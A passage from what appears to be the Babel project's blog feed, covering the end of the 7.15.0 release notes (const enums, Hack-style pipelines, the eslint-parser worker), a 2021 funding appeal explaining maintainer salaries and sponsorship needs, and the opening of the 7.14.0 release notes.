<div class="language-typescript= codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript= codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">abstract class C {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    abstract prop = 1; // now a SyntaxError!</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>However, we did add two TypeScript features that we have been missing for a long time: <code>const</code> enums and namespace aliases (<code>import Alias = Namespace</code>).</p>
<p>Previously we presented an error when using <code>const</code> enums since it requires type information to compile correctly. As a workaround, the community built plugins such as <a href="https://github.com/dosentmatter/babel-plugin-const-enum#readme" target="_blank" rel="noopener noreferrer"><code>babel-plugin-const-enum</code></a>. Babel now ignores the <code>const</code> modifier when compiling enums, which matches TypeScript's behavior when using the <code>--isolatedModules</code> option.</p>
<p>If you want a more optimized output similar to the default code produced by TypeScript, you can enable the <a href="https://babeljs.io/docs/en/babel-preset-typescript#optimizeconstenums" target="_blank" rel="noopener noreferrer"><code>optimizeConstEnums</code></a> option of <code>@babel/plugin-tranform-typescript</code> or <code>@babel/preset-typescript</code>.</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">enum</span><span class="token plain"> Animals </span><span class="token punctuation">{</span><span class="token plain"> Dog </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">.</span><span class="token plain">Dog</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output (default)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> Animals</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  Animals</span><span class="token punctuation">[</span><span class="token plain">Animals</span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"Dog"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Dog"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token plain">Animals </span><span class="token operator">||</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">Animals </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">.</span><span class="token plain">Dog</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output with `optimizeConstEnums`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="hack-style-pipeline-operator-support-13191-13416">Hack-style pipeline operator support (<a href="https://github.com/babel/babel/pull/13191" target="_blank" rel="noopener noreferrer">#13191</a>, <a href="https://github.com/babel/babel/pull/13416" target="_blank" rel="noopener noreferrer">#13416</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#hack-style-pipeline-operator-support-13191-13416" class="hash-link" aria-label="Direct link to hack-style-pipeline-operator-support-13191-13416" title="Direct link to hack-style-pipeline-operator-support-13191-13416">​</a></h3>
<p><a href="https://github.com/js-choi/proposal-hack-pipes/" target="_blank" rel="noopener noreferrer">"Hack-style pipelines"</a> is a new flavor of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer">pipeline operator</a> proposal, intended to replace the "smart mix" variant.</p>
<p>Hack-style pipelines require you to <em>always</em> use a "topic token" (such as <code>#</code>) to reference the value of the previous pipeline step:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token string" style="color:#718c00">"World"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">Hello, </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">#</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00">!</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">alert</span><span class="token punctuation">(</span><span class="token plain">#</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// output</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> _ref</span><span class="token punctuation">,</span><span class="token plain"> _ref2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">_ref2 </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">_ref </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"World"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">Hello, </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">_ref</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00">!</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">alert</span><span class="token punctuation">(</span><span class="token plain">_ref2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can test this proposal by enabling the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-pipeline-operator#usage" target="_blank" rel="noopener noreferrer"><code>proposal: "hack"</code></a> option in <code>@babel/plugin-proposal-pipeline-operator</code>. You must also choose which topic token to use, between <code>"#"</code> and <code>"%"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-pipeline-operator", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "proposal": "hack",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "topicToken": "#"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="preparing-babeleslint-parser-for-babel-8-13398">Preparing <code>@babel/eslint-parser</code> for Babel 8 (<a href="https://github.com/babel/babel/pull/13398" target="_blank" rel="noopener noreferrer">#13398</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#preparing-babeleslint-parser-for-babel-8-13398" class="hash-link" aria-label="Direct link to preparing-babeleslint-parser-for-babel-8-13398" title="Direct link to preparing-babeleslint-parser-for-babel-8-13398">​</a></h3>
<p>We have been slowly continuing to work on Babel 8 in the past months. We are not ready for a Babel 8 beta release yet, but we are starting to expose the first experimental changes.</p>
<p>We plan to fully convert Babel from CommonJS to ECMAScript modules, but this has a problem: configuration loading will be asynchronous <em>more often</em>, and <code>@babel/eslint-parser</code> can only work synchronously (because ESLint only supports synchronous parsers).</p>
<p><code>@babel/eslint-parser</code> 7.15.0 exposes a new entry-point: <code>@babel/eslint-parser/experimental-worker</code>. It moves the Babel config loading and parsing task to a separate worker which is managed synchronously from the main thread, while still supporting async configuration loading. As an immediate advantage for Babel 7, it allows using native ECMAScript modules for Babel configuration files even when using <code>@babel/eslint-parser</code>.</p>
<p>You can help us by testing it now in your existing projects, and reporting any bug <a href="https://github.com/babel/babel/issues/new?assignees=&amp;labels=i%3A+needs+triage&amp;template=bug_report.yml&amp;title=%5BBug%5D%3A+" target="_blank" rel="noopener noreferrer">on our issues page</a>:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// .eslintrc.js</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">module</span><span class="token punctuation">.</span><span class="token property-access">exports</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">parser</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"@babel/eslint-parser/experimental-worker"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="theme-admonition theme-admonition-info admonition_WCGJ alert alert--info"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_pbrs"><p>This entry-point requires Node.js &gt;= 12.3.0</p></div></div>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Babel is used by millions, so why are we running out of money?]]></title>
        <id>https://babeljs.io/blog/2021/05/10/funding-update</id>
        <link href="https://babeljs.io/blog/2021/05/10/funding-update"/>
        <updated>2021-05-10T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Since 2018, Babel has been doing a funding experiment: can full time work on Babel be sustained? We've learned the answer might be no.]]></summary>
        <content type="html"><![CDATA[
<p>Since 2018, Babel has been doing a <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer">funding experiment</a>: can full time work on Babel be sustained? We've learned the answer might be no.</p>
<p>In November 2019, after successfully paying <a href="https://twitter.com/left_pad" target="_blank" rel="noopener noreferrer">Henry</a> a salary for over a year, we <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer">expanded our goal</a> to also support three additional maintainers: <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a>, <a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer">Kai</a>, and <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a>.</p>
<p>Part of the Babel team (<a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a>, <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a> and <a href="https://twitter.com/left_pad" target="_blank" rel="noopener noreferrer">Henry</a>) is still being paid a salary to work on Babel, but we now need to make some adjustments in light of the donations we are currently receiving. This update is to talk about that and ask for further support from the community.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="looking-back">Looking Back<a href="https://babeljs.io/blog/2021/05/10/funding-update#looking-back" class="hash-link" aria-label="Direct link to Looking Back" title="Direct link to Looking Back">​</a></h2>
<p>In 2018, Henry <a href="https://www.henryzoo.com/in-pursuit-of-open-source-part-1/" target="_blank" rel="noopener noreferrer">left his job</a> to see if he could make a living working on open source and Babel, looking to people like <a href="https://twitter.com/youyuxi" target="_blank" rel="noopener noreferrer">Evan You</a> as an example and for advice. He had already started work on getting more funding through the <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> that we had set up in 2017 to support the project and specifically our previous core team member <a href="https://github.com/loganfsmyth" target="_blank" rel="noopener noreferrer">Logan Smyth</a>, but it was difficult to do so early on while working half-time.</p>
<p>After a few months, the fundraising efforts allowed paying Henry every month: we settled on $11,000 per month as a baseline salary for working full-time on open source. We had a large grant ($10k for 10 months) from <a href="https://handshake.org/grant-sponsors/" target="_blank" rel="noopener noreferrer">Handshake</a> which initially helped boost our funds, but even when it ended we didn't have problems paying our team thanks to some amazing sponsors such as Airbnb, Trivago, Gatsby, AMP, and Salesforce.</p>
<p>We didn't want to stop there. We thought that by demonstrating our ability to create and <em>pay</em> a strong team, more features and improvements (and in turn, value) would be delivered via Babel, which would continue the momentum of funding and sponsorship. We decided to start paying <a href="https://twitter.com/jlhwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a>, <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a> and <a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer">Kai</a> a "part-time" rate: we could initially afford $2,000 USD per month. Our hope was by <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer">announcing this plan</a> and continuing our fundraising efforts, we would be able to increase the budget and raise them to the full-time rate.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="where-babel-is-today">Where Babel is Today<a href="https://babeljs.io/blog/2021/05/10/funding-update#where-babel-is-today" class="hash-link" aria-label="Direct link to Where Babel is Today" title="Direct link to Where Babel is Today">​</a></h2>
<p>It has been more than a year since then and we've both done and learned a lot.</p>
<p><a href="https://babel.dev/docs/en/features-timeline" target="_blank" rel="noopener noreferrer">We've implemented</a> support for many new ECMAScript proposals, kept up with every new TypeScript and Flow release, and designed <a href="https://babel.dev/assumptions" target="_blank" rel="noopener noreferrer">new features</a> to allow producing smaller compiled output. We are now nearing the next major release, Babel 8.</p>
<p>Babel continues to be used by thousands of <a href="https://babeljs.io/en/users.html" target="_blank" rel="noopener noreferrer">companies all over the world</a>. It's integrated into all kinds of frameworks in the JavaScript ecosystem, whether it's React, Next.js, Vue, Ember, Angular, etc. We are hitting over <a href="https://www.npmjs.com/package/@babel/core" target="_blank" rel="noopener noreferrer">117 million downloads/month</a>. It powers custom plugins and optimizations in varied scenarios like CSS-in-JS, GraphQL, or localization across enormous code bases.</p>
<p>Babel also has become the intersection where practioners and language designers meet. We believe that it's become a vital part of the process used to test new ECMAscript proposals (hopefully, not with too many unstable proposals in production!). This creates the ability for JavaScript developers to try new features and give feedback to the TC39 committee and ultimately influence how the language evolves. Babel doesn't represent any individual company's interest but hopefully the JavaScript users eagerness to participate in new ideas. Even if you or your company don't directly use Babel, you can still directly benefit from how it can help standardizing language features.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="our-current-funding-situation">Our Current Funding Situation<a href="https://babeljs.io/blog/2021/05/10/funding-update#our-current-funding-situation" class="hash-link" aria-label="Direct link to Our Current Funding Situation" title="Direct link to Our Current Funding Situation">​</a></h2>
<p>Every project has unique funding propositions and problems. For Babel, people often don't directly interact with it: like most build tools, you set them up once at the beginning and then forget about them (until you find a bug, sometimes!).</p>
<p>You won't see job offers for a "Babel developer", even if most of the major JS frameworks are used with Babel. Additionally, with the growth of pre-configured frameworks such as Next.js that lift the responsibility of managing the underlying build tools from their users, it's not uncommon to use Babel without even knowing it. This makes it harder for our users to justify sponsoring us to their companies.</p>
<p>From the beginning, we knew we wouldn't have enough to pay anyone a full time salary, so Henry has been spending a lot of time attempting to get continued funding, giving talks at conferences and talking to companies. However, 2020 has negatively affected our funding, despite the tech industry's growth during this time. We lost some big sponsors, and Kai had to step down to get full-time work at another job.</p>
<p>We were hoping to see a continued increase in donations to be able to increase what Jùnliàng and Nicolò where taking, but it didn't happen.</p>
<p><img loading="lazy" src="https://i.imgur.com/bsSHoRF.png" alt="Chart showing our OpenCollective balance decreasing since mid 2020" class="img_SS3x"></p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-future">The Future<a href="https://babeljs.io/blog/2021/05/10/funding-update#the-future" class="hash-link" aria-label="Direct link to The Future" title="Direct link to The Future">​</a></h2>
<p>Despite these funding difficulties, we still want to keep paying our core team, in order to continue improving Babel. We want to focus on making Babel easier to configure, more performant, and produce more optimized output. We want to continue implementing new proposals while also ensuring that existing features are rock solid. We want to be able to spend time on better documentation of not just Babel itself but JavaScript and language design, creating an environment where any developer can tinker with making their own syntax if they choose. There's a large scope not in terms of the code we write but opportunities to bring more people into the language design space for people who might not have ever considered it. We have also published <a href="https://babeljs.io/docs/en/roadmap#babel-2021-roadmap" target="_blank" rel="noopener noreferrer">a roadmap</a> to better communicate our medium-term goals.</p>
<p>We strongly believe that working in open source should be a viable and sustainable career path. We should be bringing everyone <em>up</em> to the same level, not <em>down</em>. However, we need to face the fact that this would mean draining <a href="https://opencollective.com/babel#category-BUDGET" target="_blank" rel="noopener noreferrer">our current balance</a> in just a few months.</p>
<p>Everyone taking smaller and smaller amounts ends up creating a false sense of sustainability. It lowers how we value our own work, and what sponsors perceive to be sustainable amount of funding.</p>
<p>The reality is that, without more funding, we risk not being able to maintain the high standard of support and development that Babel and its users deserve. We risk losing more team members, who deserve to make a decent living in line with their skill level. The open source ecosystem also risks under-supporting a critical and widely used piece of technology.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="our-ask">Our Ask<a href="https://babeljs.io/blog/2021/05/10/funding-update#our-ask" class="hash-link" aria-label="Direct link to Our Ask" title="Direct link to Our Ask">​</a></h2>
<p>For now, Nicolò, Henry, and Jùnliàng will all be paid a temporary rate of $6,000 per month. This doesn't solve the problem, but it gives us time while increasing the initial temporary $2,000 USD salaries. The burn rate will still be more than the donations we currently receive each month, but our current balance allows us to sustain this amount until the end of 2021.</p>
<p>We'll do our best to balance all the priorities, while at reduced capacity due to being able to fund less of people's time and needing to spend some of that time finding new sponsors. Babel is not a company, a product, or service. And we have a small team, so we are the same people working on engineering and on funding. But it's a compromise we don't think we should have to make, considering the huge value that Babel delivers.</p>
<p>To fully fund the currently paid maintainers (but we would like to expand who is being paid, to include the whole core team), we need at least $333,000 per year, which is 2x what we're currently bringing in. Considering the amounts of money in the tech sector, this seems tiny in comparison—but it would make a big difference to Babel. Our story and stories like it make a big difference to the health and sustainability of the open source ecosystem overall.</p>
<p><strong>So, our ask is to help fund our work</strong>, via <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and <a href="https://github.com/sponsors/babel" target="_blank" rel="noopener noreferrer">GitHub Sponsors</a>. Though individual contributions do matter (and we deeply appreciate them), we are really looking for more companies to step up and become <a href="https://opencollective.com/babel/contribute" target="_blank" rel="noopener noreferrer">corporate sponsors</a>, alongside our current sponsors like AMP, Airbnb, Salesforce, GitPod, and others. If it would be better for your company to sustain us in other ways, we are also open to hearing any ideas. Reach out to us directly or by email at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a>.</p>
<p>We intensely hope that we'll reach our goals: more and more companies use Babel to deliver their products, and what we are asking for is a tiny fraction of the value we provide. Babel is relied upon by a big part of the web, and it's in the interests of everyone to ensure that the project continues being maintained at the same quality levels as it is now.</p>
<div style="display:flex;justify-content:space-around;align-items:center"><a href="https://opencollective.com/babel/donate" target="_blank" style="all:unset;cursor:pointer"><img alt="Donate to our OpenCollective!" src="https://opencollective.com/babel/donate/button@2x.png?color=blue" width="300"></a><iframe src="https://github.com/sponsors/babel/button" title="Sponsor Babel on GitHub" height="35" width="300" style="border:0;background:transparent"></iframe></div>]]></content>
        <author>
            <name>Babel Core Team</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.14.0 Released: New class features enabled by default, TypeScript 4.3, and better CommonJS interop]]></title>
        <id>https://babeljs.io/blog/2021/04/29/7.14.0</id>
        <link href="https://babeljs.io/blog/2021/04/29/7.14.0"/>
        <updated>2021-04-29T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Babel 7.14.0 is out!]]></summary>
        <content type="html"><![CDATA[<p>Babel 7.14.0 is out!</p>
<p>This release enables class fields and private methods by default (they were promoted to Stage 4 during the recent April <a href="https://github.com/tc39/agendas/blob/master/2021/04.md" target="_blank" rel="noopener noreferrer">TC39 meeting</a>!) and adds brand checks for private fields and static class blocks to <code>@babel/preset-env</code>'s <code>shippedProposals</code> option.</p>
<p>We added support for Stage 1 <a href="https://github.com/tc39/proposal-async-do-expressions" target="_blank" rel="noopener noreferrer">async do expressions</a> (using <code>@babel/plugin-proposal-async-do-expressions</code>), which extends the Stage 1 <a href="https://github.com/tc39/proposal-do-expressions" target="_blank" rel="noopener noreferrer">do expression</a> proposal.</p>
<p>Thanks to <a href="https://github.com/sosukesuzuki" target="_blank" rel="noopener noreferrer">Sosuke Suzuki</a> and <a href="https://github.com/g-plane" target="_blank" rel="noopener noreferrer">Pig Fang</a>, Babel can now handle <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-3-beta/" target="_blank" rel="noopener noreferrer">TypeScript 4.3</a> features. <code>@babel/parser</code>  also has a new option to correctly parse <a href="https://www.typescriptlang.org/docs/handbook/declaration-files/introduction.html" target="_blank" rel="noopener noreferrer">TypeScript declaration</a> files.</p>
<p>Finally, we introduced a new <code>importInterop: node</code> option to make it easier to produce dual modules by compiling ECMAScript imports to CommonJS that follow Node.js semantics.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.14.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/04/29/7.14.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="new-class-features-enabled-by-default">New class features enabled by default<a href="https://babeljs.io/blog/2021/04/29/7.14.0#new-class-features-enabled-by-default" class="hash-link" aria-label="Direct link to New class features enabled by default" title="Direct link to New class features enabled by default">​</a></h3>
